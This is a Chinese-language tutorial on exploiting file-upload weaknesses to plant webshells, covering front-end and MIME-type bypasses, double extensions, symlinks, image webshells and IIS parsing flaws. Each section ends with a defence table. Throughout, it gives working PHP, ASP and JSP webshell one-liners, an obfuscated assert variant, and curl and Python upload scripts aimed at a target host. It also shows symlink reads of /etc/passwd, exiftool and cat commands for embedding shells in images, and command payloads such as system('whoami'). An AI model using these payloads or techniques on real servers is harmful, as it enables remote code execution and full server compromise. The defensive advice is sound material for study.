定义:文件上传风险点是指应用程序允许用户上传文件,但没有严格校验上传文件的类型、内容、路径等属性,导致攻击者可以上传并执行恶意代码。
绕过方式:
前端绕过
1. 前端限制的原理
前端限制上传文件类型的常见方式有三种:
1)accept
属性限制上传文件后缀:
<input type="file" accept=".jpg,.png">
这只允许用户选择 .jpg
、.png
后缀的文件。
2)前端 JS 脚本校验:
例如用 JavaScript 限制后缀名或文件大小:
const file = document.getElementById("file").files[0];
if (!file.name.endsWith(".jpg")) {
alert("只能上传 JPG 图片!");
return false;
}
3)通过 MIME 类型校验:
前端代码可能会检查文件的 type
属性:
if (file.type !== "image/jpeg") {
alert("只允许上传图片!");
return false;
}
结论:以上所有校验都是“客户端校验”,攻击者完全可以绕过!因为攻击者可以不通过浏览器上传,而是自己构造上传请求。
2. 前端绕过的攻击原理
前端校验只能在浏览器上生效。而上传的核心流程如下:
POST /upload HTTP/1.1
Host: target.com
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary
------WebKitFormBoundary
Content-Disposition: form-data; name="file"; filename="shell.php"
Content-Type: application/octet-stream
<?php @eval($_POST['cmd']); ?>
------WebKitFormBoundary--
攻击者只要能构造这样的 HTTP 请求(与浏览器无关),即可上传任何文件类型。
3. 前端绕过的几种实战方法
方法一:禁用 JS 直接选文件
如果页面通过 JS 阻止上传(例如不让选择 .php
文件),可以:
-
右键网页 → 检查 → Application → Local File System 手动选文件
-
或者用 curl、Postman、Python 绕过
方法二:Burp Suite 抓包修改文件名
步骤:
-
正常上传一张
.jpg
图片 -
Burp Suite 抓包
-
修改请求中的
filename="xxx.jpg"
为filename="shell.php"
-
修改请求体中的文件内容为 PHP Webshell
-
发送请求,查看响应路径是否上传成功
Content-Disposition: form-data; name="file"; filename="shell.php"
即使前端只允许 .jpg
,服务端没做验证,也可能成功!
方法三:curl 模拟上传
用 curl 构造上传请求(替代浏览器):
curl -F "file=@shell.php" http://target.com/upload
完全绕过前端任何 JS 校验!
方法四:Python requests 上传
构造 Python 脚本:
import requests
files = {'file': ('shell.php', open('shell.php', 'rb'), 'application/octet-stream')}
r = requests.post('http://target.com/upload', files=files)
print(r.text)
也能轻松绕过前端限制。
方法五:Postman 构造上传请求
-
使用 Postman 新建 POST 请求
-
在 Body → form-data 添加字段:
-
key: file
-
type: File
-
value: 本地的
shell.php
-
-
点击发送
4. 防御建议
防护位置 | 措施 |
---|---|
服务端 | 对文件扩展名进行白名单校验(如:仅允许 .jpg , .png ) |
服务端 | 对 MIME 类型进行验证(推荐通过 magic bytes,而非请求头) |
服务端 | 对上传路径进行隔离,不允许上传目录执行脚本 |
服务端 | 对文件内容进行特征过滤(如检测 <?php 字符) |
安全中间件 | 使用 WAF 拦截 eval , base64_decode , cmd 等关键词 |
小结
前端绕过的本质:攻击者完全可以跳过浏览器,构造自己的 HTTP 请求,从而绕过一切前端校验。
=======================================
MIME 类型绕过
MIME(Multipurpose Internet Mail Extensions)类型,是 HTTP 请求中描述文件内容类型的字段,常见于上传时的请求头:
Content-Type: image/jpeg
常见类型有:
文件类型 | MIME 类型 |
---|---|
JPEG图片 | image/jpeg |
PNG图片 | image/png |
HTML | text/html |
PHP | application/x-httpd-php |
可执行文件 | application/octet-stream |
服务端错误的 MIME 判断方式
很多开发者会使用以下逻辑判断上传文件是否合法:
if ($_FILES['file']['type'] != "image/jpeg") {
die("请上传图片文件!");
}
问题:$_FILES['file']['type']
是由 客户端上传时声明的 MIME 类型,攻击者可以伪造!
1. MIME 类型绕过的原理
攻击核心:
攻击者伪造请求头中 Content-Type
为服务器信任的类型,例如:
Content-Type: image/jpeg
然后上传 .php
文件内容,就可能绕过验证。
2. 实战 MIME 类型绕过方法
方法一:抓包修改 MIME(最常用)
-
正常上传
.jpg
文件抓包 -
修改请求内容如下:
Content-Disposition: form-data; name="file"; filename="shell.php"
Content-Type: image/jpeg
<?php @eval($_POST['cmd']); ?>
-
服务端只检查
Content-Type: image/jpeg
,可能直接通过。
方法二:curl 构造 MIME 请求
curl -X POST http://target.com/upload -F "file=@shell.php;type=image/jpeg"
-
@shell.php
指上传的本地文件 -
type=image/jpeg
表示 MIME 类型为图片,伪造成功
方法三:Python 模拟上传(伪造 Content-Type)
import requests
files = {
'file': ('shell.php', open('shell.php', 'rb'), 'image/jpeg')
}
res = requests.post('http://target.com/upload', files=files)
print(res.text)
即使上传的是 PHP,伪装成 JPEG,服务器若只看 Content-Type 就会中招。
方法四:图片马 + MIME 绕过
制作“图片马”:
GIF89a
<?php @eval($_POST['cmd']); ?>
保存为 shell.jpg
,上传时 MIME 仍为 image/jpeg
。
如果服务器按 MIME 和扩展名判断,不按内容判断,就可能被执行。
3. 常见误判方式
错误代码 | 描述 |
---|---|
$_FILES['file']['type'] | 取的是客户端提供的 MIME,可伪造 |
JS 检查 file.type | 是前端行为,攻击者可以直接 POST |
只看文件后缀名 + MIME | 双保险都能伪造 |
4. 防御建议
防御方式 | 描述 |
---|---|
使用 Magic Number 验证 | 使用文件头判断文件真实类型(推荐) |
白名单策略 | 严格限制上传类型:只允许 .jpg/.png 等 |
后端二次校验 | 不能信任用户提交的 Content-Type |
隔离上传路径 | 上传目录不允许执行(不解析 PHP 等脚本) |
文件改名存储 | 上传文件改为 UUID+扩展名,防止执行 |
5. Magic Number(文件头)快速识别参考
文件类型 | 开头标识(Magic Header) |
---|---|
JPEG | FF D8 FF |
PNG | 89 50 4E 47 |
GIF | 47 49 46 38 |
%PDF | |
ZIP | 50 4B 03 04 |
EXE | MZ |
可以使用 Python 检测 Magic Header:
with open("file.jpg", "rb") as f:
magic = f.read(4)
print(magic)
小结
MIME 类型可以轻松伪造,千万不能作为文件是否合法的依据。
必须在后端通过真实内容检查(Magic Number)+ 类型白名单 + 存储隔离多重措施防御。
=======================================
双扩展名
双扩展名就是给上传的文件命名为两个扩展名的形式:
shell.php.jpg
或者:
shell.jpg.php
目的:混淆服务端或 Web 服务器对文件类型的识别,从而绕过上传限制并达到执行 WebShell 的目的。
为什么双扩展名会绕过?
在某些服务端逻辑中:
-
检查上传文件后缀是否为图片(例如:
endswith(".jpg")
) -
一看到
.jpg
就放行,不管前面还有.php
于是:
文件名:shell.php.jpg
服务端:哦,是 .jpg,合法!
Web 服务器:实则按 .php 解析!可能直接执行!
1. 不同服务器对双扩展名的解析差异
服务器类型 | 解析策略 | 说明 |
---|---|---|
Apache | 默认取最后一个扩展名(.jpg ) | 可配置,需看 mod_mime 等模块 |
Nginx | 默认取最后一个扩展名(.jpg ) | 不解析 .php.jpg 文件 |
IIS | 常常取 第一个识别的可执行后缀 | .php;.jpg 可能会执行 |
2. 双扩展名绕过的几种形式
1)普通双扩展名:
shell.php.jpg
shell.asp.jpg
shell.jsp.jpg
如果服务端只判断最后一个扩展名,会被绕过。
2)带多个点(多扩展):
shell.php.1.jpg
shell.php.abc.jpg
有些框架只会取第一个点后的部分进行判断,导致绕过。
3)利用 Windows 的「忽略第二扩展名」特性(IIS 特性):
shell.asp;.jpg
Windows 文件名允许 ;
,IIS 会识别前半段为脚本,后面忽略,仍然执行。
4)上传后路径解析造成绕过:
假设上传后文件名被服务器改为:
shell.php.jpg -> /uploads/shell.php.jpg
攻击者访问:
http://target.com/uploads/shell.php.jpg
如果 Web 服务未正确配置(比如直接转发给 PHP 引擎),也可能执行里面的 PHP 代码。
3. 实战举例
上传双扩展名图片马:
创建一个“图片马”:
GIF89a
<?php @eval($_POST['cmd']); ?>
保存为:
shell.php.jpg
抓包修改上传参数(如 Content-Type 设置为 image/jpeg),绕过检查。
如果上传成功,访问:
http://target.com/uploads/shell.php.jpg
如果目标服务器会将其作为 PHP 执行,就 getshell 了。
4. 防御建议
措施 | 说明 |
---|---|
严格后端校验扩展名 | 如不包含 .php 、.jsp 等 |
限制文件名只能包含一个点 | 拒绝多扩展名上传 |
上传后强制重命名 | 使用 UUID 或 hash 做存储名 |
上传目录禁止脚本执行 | Nginx 设置 autoindex off; + 不交给 PHP 引擎 |
使用 Magic Number 校验文件内容类型 | 不信扩展名和 MIME |
WAF 拦截可疑上传文件名 | 比如包含 .php 的文件名 |
小结
双扩展名绕过的本质是服务端只检查“最后一个扩展名”,而 Web 服务可能根据前面的扩展名解析执行。
如果后端只判断 .jpg
而忽略了 .php
,或者 IIS 会执行 shell.php;.jpg
,就会导致严重的上传+执行 风险,最终 getshell。
=======================================
软连接绕过
软连接(Symbolic Link)是 Linux 下的“快捷方式”,类似 Windows 的快捷方式文件。
例如:
ln -s /etc/passwd ./a.jpg
会在当前目录创建一个叫 a.jpg
的文件,实际上是 /etc/passwd
的软链接。
软连接与文件上传绕过的关系
攻击思路:
-
上传文件 时,服务端只检查扩展名、MIME 类型;
-
上传的内容其实是一个软连接文件,指向一个敏感脚本(或你上传的已存在 WebShell);
-
如果服务器将该文件当成上传结果处理,访问链接路径时可能执行原始文件,或者获取敏感数据。
1. 利用条件(环境依赖较强)
要使用软连接绕过,必须满足以下条件:
条件 | 说明 |
---|---|
Linux 系统 | Windows 不支持软链接用于这种方式 |
Web 目录具有读权限 | 否则 Web 无法访问软链接目标 |
上传目录允许写入软链接 | 有些服务器禁用软链接操作 |
未严格检查上传内容 | 服务端未禁止非图片数据 |
Web 服务能解析软链接 | 即访问软链接时能解析执行其目标文件 |
2. 攻击实例
示例 1:读取敏感文件(非 getshell)
上传一个伪装成图片的软链接:
ln -s /etc/passwd passwd.jpg
然后上传 passwd.jpg
,如果上传路径是 Web 可访问的:
http://target.com/upload/passwd.jpg
就可能显示 /etc/passwd
的内容!
示例 2:访问网站中的已存在后门
假设找到了某个泄漏页面 /admin/shell.php
,但它只能通过某个复杂路径才能访问(比如被防火墙保护)。
上传一个软链接:
ln -s /var/www/html/admin/shell.php shell.jpg
上传后访问:
http://target.com/upload/shell.jpg
就可能绕过路径限制,直接访问到 WebShell!
示例 3:绕过后缀限制(配合双扩展)
将软链接命名为:
shell.php.jpg -> /var/www/html/uploads/shell.php
服务端判断后缀为 .jpg
,就允许上传,但实际链接的是 .php
文件,仍可能被执行。
3. 防御方式
防御措施 | 说明 |
---|---|
禁止上传软连接文件 | 上传接口判断是否为软链接(见下方示例) |
上传目录挂载为 nofollow | 防止软连接被解析 |
上传后重命名并移动 | 不保留原路径、软连接无效 |
配置 Web 服务禁止解析符号链接 | Nginx/Apache 配置关闭 symlink 解析 |
文件内容识别验证 | 拒绝上传符号链接文件,检查是否真实图片等 |
4. 检测上传文件是否是软链接
后端代码示例(PHP):
if (is_link($_FILES['file']['tmp_name'])) {
die("禁止上传符号链接文件!");
}
或使用 filetype()
:
if (filetype($_FILES['file']['tmp_name']) == "link") {
die("拒绝上传软链接!");
}
小结
软连接绕过的核心是:上传的文件其实是一个链接,服务端未验证内容,访问时可能导致敏感信息泄露或绕过路径保护,甚至执行隐藏的 WebShell。
getshell 实例:
Webshell 上传
WebShell 是一种后门脚本文件,通过 Web 页面远程控制服务器。
常见的 WebShell 类型包括:
脚本类型 | 常见扩展名 | 举例语言 |
---|---|---|
PHP Shell | .php , .phtml | <?php @eval($_POST['pass']); ?> |
ASP Shell | .asp , .aspx | <%eval request("pass")%> |
JSP Shell | .jsp | <% Runtime.getRuntime().exec(request.getParameter("cmd")); %> |
1. 攻击条件(前提)
成功上传 WebShell 并执行,需满足以下前提:
-
上传功能可用;
-
上传后文件可访问且可执行;
-
服务端未对上传类型/内容做严格限制;
-
没有 WAF(Web 应用防火墙)或其他检测机制拦截。
2. 攻击流程详解
步骤 1:准备 WebShell 文件(例如 PHP)
<?php @eval($_POST['pass']); ?>
也可以用更隐蔽的变种:
<?php
$a='ass'.'ert';
$b='$_POST[1]';
$a($b);
?>
步骤 2:上传脚本文件
如果前端限制只能上传 .jpg
,可以通过:
-
修改后缀:
shell.php.jpg
-
拦截请求(Burp)改文件名为
shell.php
-
MIME 类型伪造:
Content-Type: image/jpeg
步骤 3:上传成功后,访问 WebShell
http://target.com/upload/shell.php
或(双扩展):
http://target.com/upload/shell.php.jpg
步骤 4:控制 WebShell(Getshell)
-
使用工具如:蚁剑(AntSword)、冰蝎(Behinder)、中国菜刀等;
-
输入密码字段(如
pass
); -
获得命令执行界面或文件管理界面。
3. 绕过技巧合集
绕过手段 | 原理 |
---|---|
前端绕过 | JS 检查可被禁用或绕过(改 HTML 或直接抓包上传) |
MIME 类型伪造 | Content-Type 改为合法类型如 image/jpeg |
双扩展名 | shell.php.jpg 或 shell.asp;.jpg (IIS) |
文件头伪造 | 添加 GIF 或 JPG 文件头 |
上传后重命名风险点 | 文件被重命名但保留可执行扩展 |
路径可控或软链接 | 上传后路径可预测或指向 WebShell 文件 |
4. 实战演示(PHP + Apache)
服务端代码(风险点示例):
<?php
$upload_dir = "uploads/";
$target = $upload_dir . basename($_FILES['file']['name']);
if (move_uploaded_file($_FILES['file']['tmp_name'], $target)) {
echo "Upload success!";
} else {
echo "Upload failed!";
}
这个代码没有任何扩展名、MIME 类型或内容检查,可直接上传 .php
文件。
上传方式(用 curl 模拟):
curl -X POST -F "file=@shell.php" http://target.com/upload.php
然后访问:
http://target.com/uploads/shell.php
输入 POST 数据:
pass=phpinfo();
即可执行代码。
5. 防御建议
防御措施 | 说明 |
---|---|
文件类型白名单 | 只允许 .jpg 、.png 等安全类型 |
文件内容检测 | 使用 file 命令或图片头判断,不信扩展名 |
上传文件改名 | 使用随机 UUID 替换原文件名 |
上传目录禁止解析 | Nginx 配置 location ~* \.php$ { deny all; } |
文件隔离 | 上传文件不放在 Web 根目录下 |
后门检测工具 | 使用 D盾、WebShellCheck、Yakit 等检测工具 |
6. 工具推荐
工具名称 | 用途 |
---|---|
蚁剑 AntSword | 最流行的跨平台 WebShell 管理工具 |
冰蝎 Behinder | 高级 WebShell,支持加密、内存马 |
中国菜刀 | 老牌 WebShell 客户端 |
Burp Suite | 抓包修改上传参数绕过限制 |
webshell-detect | 检测服务器 WebShell 的工具脚本 |
小结
WebShell 上传是文件上传风险点的终极目标,一旦成功就意味着攻击者能完全控制服务器。
=======================================
图片马
图片马(Image WebShell)指的是伪装成图片格式的 WebShell 文件,攻击者通过在图片文件中隐藏脚本代码,欺骗服务端的上传限制,从而实现代码执行。
图片马可用于绕过:
-
文件扩展名限制(只能上传
.jpg
,.png
等) -
MIME 类型限制(Content-Type 必须为 image/*)
-
文件头检测(Magic Number 判断)
1. 构造图片马的原理
图片文件本质是二进制文件,不同格式有固定的文件头:
图片类型 | 文件头(Magic Number) |
---|---|
JPG | FF D8 FF |
PNG | 89 50 4E 47 0D 0A |
GIF | GIF89a |
而 Web 服务器在检查上传文件时,很多只校验:
-
文件扩展名;
-
文件 MIME;
-
文件头(Magic Number)前几个字节;
不会分析后续内容是否包含恶意代码。
2. 常见的图片马构造方式
方式一:伪造图片文件头 + PHP 代码
方法:在 PHP WebShell 前加图片文件头
GIF89a
<?php @eval($_POST['cmd']); ?>
保存为:shell.gif
,这就是图片马。
访问时:
http://target.com/uploads/shell.gif
POST 请求内容:
cmd=phpinfo();
如果服务器仍按 PHP 解析器解析(例如上传目录支持 .gif 被解析为 PHP),就能执行代码。
方式二:嵌入 WebShell 到真实图片尾部
可以把 PHP 代码加在正常图片后面:
copy /b real.jpg + shell.php shell.jpg
或者使用 Linux:
cat real.jpg shell.php > shell.jpg
这种图片能正常查看(例如浏览器可预览),但访问时仍可执行其中的 WebShell。
方式三:隐藏在图片的 EXIF 信息中
EXIF 是图片的元数据,攻击者可将 Shell 写入其中字段:
修改方法(PHP):
exiftool -Comment='<?php eval($_POST["cmd"]); ?>' image.jpg
服务器读取 EXIF 并包含或解析时,代码会执行(结合文件包含风险点使用)。
3. 攻击流程
-
攻击者准备伪装好的图片马文件;
-
上传时抓包修改扩展名为
.jpg
或伪造 MIME:Content-Type: image/jpeg
-
上传成功后访问路径:
http://target.com/uploads/shell.jpg
-
使用蚁剑等 WebShell 工具连接,或手动发 POST 请求执行命令。
4. 图片马常见绕过技巧
绕过方式 | 说明 |
---|---|
文件头伪造 | 加上 GIF89a 或 FFD8FF 开头 |
扩展名伪装 | 使用 .jpg , .png , .gif |
双扩展名 | shell.php.jpg 、shell.phtml.jpg |
MIME 伪造 | Content-Type: image/jpeg 伪造请求头 |
真实图片拼接 | 使用 cat 或 copy /b 拼接真实图片与 Shell |
使用特殊文件名 | shell.php%00.jpg (空字节截断)旧风险点 |
IIS 特性 | 上传 .php;.jpg (双扩展名 + IIS 解析风险点) |
5. 实战演示(Apache + PHP)
WebShell 内容(shell.gif):
GIF89a
<?php eval($_POST['cmd']); ?>
上传:
使用 Burp Suite 抓包,修改上传字段为:
Content-Disposition: form-data; name="file"; filename="shell.gif"
Content-Type: image/gif
上传成功后访问:
http://target.com/uploads/shell.gif
POST 请求:
cmd=system('whoami');
效果:
如果服务器将上传目录文件仍作为 PHP 解析 → 成功执行 WebShell → Getshell 成功。
6. 防御建议
防御措施 | 说明 |
---|---|
限制 MIME + 扩展名 | 同时校验后缀名和内容类型 |
检测 Magic Number | 检查文件是否是合法图片头且长度匹配 |
上传目录禁用解析 | 上传目录不允许执行 .php 文件(Nginx deny) |
文件改名 + 改路径 | 改为随机名且存放在不可访问的路径 |
使用专业安全组件 | 如阿里云 OSS、腾讯 COS 附带内容安全检查 |
设置图片后缀白名单 | 拒绝 .php.jpg 、.phtml 、.phar 等可解析格式 |
7. 工具推荐
工具 | 说明 |
---|---|
ExifTool | 修改图片 EXIF 信息 |
AntSword | 上传并连接图片马 WebShell |
Burp Suite | 抓包伪造上传请求绕过 |
Yakit/D盾 | WebShell 检测工具 |
PHP 伪图片生成脚本 | 可自动生成图片马样本 |
小结
图片马是一种利用服务端上传处理不严、文件解析机制配置不当,实现隐蔽 WebShell 上线的手法。 它配合上传绕过技巧,依旧是渗透测试中非常实用的一招。
=======================================
解析风险点(IIS 特性)
IIS(Internet Information Services)是微软提供的 Web 服务。解析风险点是指:
Web 服务器对文件的扩展名解析逻辑存在缺陷,攻击者可以上传恶意脚本伪装成非脚本文件绕过检测,但服务器最终仍会将其作为脚本解析执行。
常见于 IIS 6.0 / 7.0 / 7.5 / 8.0 等旧版本。
1. 利用解析风险点的关键特性
IIS 的解析顺序(优先顺序):
IIS 处理文件时,会:
-
找到文件路径;
-
尝试按扩展名查找对应的处理程序(Handler);
-
有一些版本的 IIS 会 从第一个扩展名起就开始匹配处理程序。
也就是说:文件名 shell.asp;.jpg
,IIS 仍会按照 .asp
解析执行!
导致风险点的配置(默认情况下):
-
IIS 将 第一个合法扩展名 作为解析目标;
-
IIS 忽略后续扩展名;
-
也支持空格、分号、00 截断等绕过方式。
2. 经典利用方式举例
方式一:双扩展名 + 分号
上传文件名:shell.asp;.jpg
虽然后缀是 .jpg
,但 IIS 按 .asp
处理,会当做脚本执行!
访问地址:
http://target.com/uploads/shell.asp;.jpg
如果上传目录支持 .asp
文件解析,就 Getshell 成功。
方式二:空格绕过(部分 IIS 支持)
上传:shell.asp .jpg
(注意扩展名前加空格)
IIS 有时会自动忽略空格后缀,仍按 .asp
解析。
方式三:%20
、%00
空格/截断字符绕过
-
shell.asp%20.jpg
(URL 中加空格) -
shell.asp%00.jpg
(URL 截断字符)
一些老的解析器或语言可能会把 %00
作为字符串结尾 → 实际处理为 shell.asp
。
方式四:NTFS ADS(替代数据流)
在 Windows 系统上,可以构造:
shell.jpg::$DATA
上传后实际存储为 NTFS 的数据流,某些配置下可以执行隐藏数据。
但这种方式利用受限于服务端具体环境。
3. 实战演示(IIS 6.0 示例)
假设上传限制只允许 .jpg
文件。
上传方式:
上传文件名:shell.asp;.jpg
文件内容:
<%eval request("cmd")%>
抓包修改请求头:
Content-Disposition: form-data; name="file"; filename="shell.asp;.jpg"
Content-Type: image/jpeg
上传成功后访问:
http://target.com/uploads/shell.asp;.jpg
提交 POST 数据:cmd=Response.Write("hello")
,成功返回说明解析风险点存在。
4. 解析风险点的核心本质
“文件上传 + Web 服务器配置失误 = Getshell”
不是上传功能本身出问题,而是 Web 服务器的解析机制对攻击者过于宽容。
这也是为什么即使文件名后缀看上去正常(.jpg
),但仍可能执行其中的 WebShell 代码。
5. 防御方式
防御措施 | 说明 |
---|---|
文件名规范化 | 上传后强制改名(使用 UUID 或 hash) |
禁用危险扩展解析 | 修改 IIS 配置:删除 .asp 、.php 等解析器 |
上传目录隔离 | 设置上传目录不执行脚本(web.config deny 或权限限制) |
WAF 拦截 | 拦截伪装的双扩展名 / 分号 / 空格等可疑请求 |
使用第三方云存储 | 如阿里云 OSS、腾讯 COS,上传即隔离 |
6. 检测工具推荐
工具 | 功能 |
---|---|
IIS Shortname Scanner | 扫描 IIS 解析路径风险点 |
Burp Suite + 手动测试 | 构造双扩展名、空格上传包 |
冰蝎 / 蚁剑 | 一旦上传成功用于连接 Shell |
WAF Log 分析 | 检测双扩展名、; 等敏感字符访问日志 |
小结
解析风险点不是上传风险点本身,而是服务器“过度聪明”的解析行为被攻击者利用,常见于 IIS 上,典型的就是双扩展名+分号。